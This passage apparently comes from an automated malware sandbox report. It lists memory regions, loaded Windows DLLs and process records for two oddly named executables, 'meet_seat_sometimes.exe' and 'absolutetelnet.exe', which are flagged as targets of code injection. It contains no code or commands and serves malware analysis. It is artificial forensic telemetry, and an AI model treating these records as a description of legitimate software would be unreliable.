id = 5733 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 5734 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 5735 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 5736 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 5737 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 5738 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 5739 start_va = 0x7f6c0000 end_va = 0x7f7bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f6c0000" filename = "" Region: id = 5740 start_va = 0x7f7c0000 end_va = 0x7f7e2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f7c0000" filename = "" Region: id = 5741 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5742 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 5743 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5744 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 5745 start_va = 0x6e0000 end_va = 0x6e3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 5746 start_va = 0x6f0000 end_va = 0x6f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006f0000" filename = "" Region: id = 5747 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 5748 start_va = 0x280000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 5749 start_va = 0x2e0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5750 start_va = 0x710000 end_va = 0x710fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 5751 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 5752 start_va = 0x720000 end_va = 0x720fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000720000" filename = "" Region: id = 5753 start_va = 0x7a0000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 5754 start_va = 0x2310000 end_va = 0x2646fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 193 os_tid = 0xde4 Thread: id = 194 os_tid = 0xdc8 Thread: id = 393 os_tid = 0x55c Process: id = "26" image_name = "meet_seat_sometimes.exe" filename = "c:\\program files (x86)\\windows multimedia platform\\meet_seat_sometimes.exe" page_root = "0x17623000" os_pid = "0xe10" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files (x86)\\Windows Multimedia Platform\\meet_seat_sometimes.exe\" " cur_dir = "C:\\Program Files (x86)\\Windows Multimedia Platform\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5407 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5408 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5409 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5410 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 5411 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 5412 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 5413 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 5414 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 5415 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 5416 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5417 start_va = 0x5c0000 end_va = 0x5c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 5418 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 5419 start_va = 0x5f0000 end_va = 0x777fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 5420 start_va = 0x780000 end_va = 0x900fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 5421 start_va = 0xd20000 end_va = 0xd23fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d20000" filename = "" Region: id = 5422 start_va = 0xd30000 end_va = 0xd33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d30000" filename = "" Region: id = 5423 start_va = 0xd70000 end_va = 0xe6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d70000" filename = "" Region: id = 5424 start_va = 0xeb0000 end_va = 0xebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000eb0000" filename = "" Region: id = 5425 start_va = 0xf20000 end_va = 0xf2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f20000" filename = "" Region: id = 5426 start_va = 0xf80000 end_va = 0xf96fff monitored = 0 entry_point = 0xf814a1 region_type = mapped_file name = "meet_seat_sometimes.exe" filename = "\\Program Files (x86)\\Windows Multimedia Platform\\meet_seat_sometimes.exe" (normalized: "c:\\program files (x86)\\windows multimedia platform\\meet_seat_sometimes.exe") Region: id = 5427 start_va = 0xfa0000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000fa0000" filename = "" Region: id = 5428 start_va = 0x23a0000 end_va = 0x245bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 5429 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 5430 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 5431 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 5432 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 5433 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 5434 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 5435 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 5436 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 5437 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 5438 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 5439 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 5440 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 5441 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 5442 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 5443 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 5444 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 5445 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 5446 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 5447 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 5448 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 5449 start_va = 0x7eaa0000 end_va = 0x7eb9ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007eaa0000" filename = "" Region: id = 5450 start_va = 0x7eba0000 end_va = 0x7ebc2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007eba0000" filename = "" Region: id = 5451 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5452 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 5453 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5454 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 5455 start_va = 0xd40000 end_va = 0xd43fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d40000" filename = "" Region: id = 5456 start_va = 0xd50000 end_va = 0xd50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d50000" filename = "" Region: id = 5457 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 5458 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 5459 start_va = 0x4c0000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 5460 start_va = 0xd60000 end_va = 0xd60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d60000" filename = "" Region: id = 5461 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 5462 start_va = 0xe70000 end_va = 0xe70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e70000" filename = "" Region: id = 5463 start_va = 0x2460000 end_va = 0x24dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 5464 start_va = 0x24e0000 end_va = 0x2816fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 195 os_tid = 0xe20 Thread: id = 196 os_tid = 0xe14 Thread: id = 388 os_tid = 0x5bc Process: id = "27" image_name = "absolutetelnet.exe" filename = "c:\\program files\\microsoft office\\absolutetelnet.exe" page_root = "0x42443000" os_pid = "0xe34" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\Microsoft Office\\absolutetelnet.exe\" " cur_dir = "C:\\Program Files\\Microsoft Office\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5236 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5237 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5238 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5239 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 5240 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 5241 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 5242 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 5243 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 5244 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 5245 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5246 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 5247 start_va = 0x570000 end_va = 0x573fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 5248 start_va = 0x580000 end_va = 0x583fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000580000" filename = "" Region: id = 5249 start_va = 0x590000 end_va = 0x59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 5250 start_va = 0x640000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 5251 start_va = 0x770000 end_va = 0x77ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000770000" filename = "" Region: id = 5252 start_va = 0x880000 end_va = 0xa07fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000880000" filename = "" Region: id = 5253 start_va = 0xa10000 end_va = 0xb90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a10000" filename = "" Region: id = 5254 start_va = 0xc10000 end_va = 0xc26fff monitored = 0 entry_point = 0xc114a1 region_type = mapped_file name = "absolutetelnet.exe" filename = "\\Program Files\\Microsoft Office\\absolutetelnet.exe" (normalized: "c:\\program files\\microsoft office\\absolutetelnet.exe") Region: id = 5255 start_va = 0xc30000 end_va = 0x202ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c30000" filename = "" Region: id = 5256 start_va = 0x2030000 end_va = 0x20ebfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002030000" filename = "" Region: id = 5257 start_va = 0x21f0000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 5258 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 5259 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 5260 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 5261 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 5262 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 5263 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 5264 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 5265 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 5266 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 5267 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 5268 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 5269 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 5270 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 5271 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 5272 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 5273 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 5274 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 5275 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 5276 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 5277 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 5278 start_va = 0x7f560000 end_va = 0x7f65ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f560000" filename = "" Region: id = 5279 start_va = 0x7f660000 end_va = 0x7f682fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f660000" filename = "" Region: id = 5280 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5281 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 5282 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5283 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 5284 start_va = 0x5a0000 end_va = 0x5a3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 5285 start_va = 0x5b0000 end_va = 0x5b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 5286 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 5287 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 5288 start_va = 0x780000 end_va = 0x87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000780000" filename = "" Region: id = 5289 start_va = 0x5c0000 end_va = 0x5c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 5290 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 5291 start_va = 0x5d0000 end_va = 0x5d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5292 start_va = 0x20f0000 end_va = 0x216ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020f0000" filename = "" Region: id = 5293 start_va = 0x2200000 end_va = 0x2536fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = 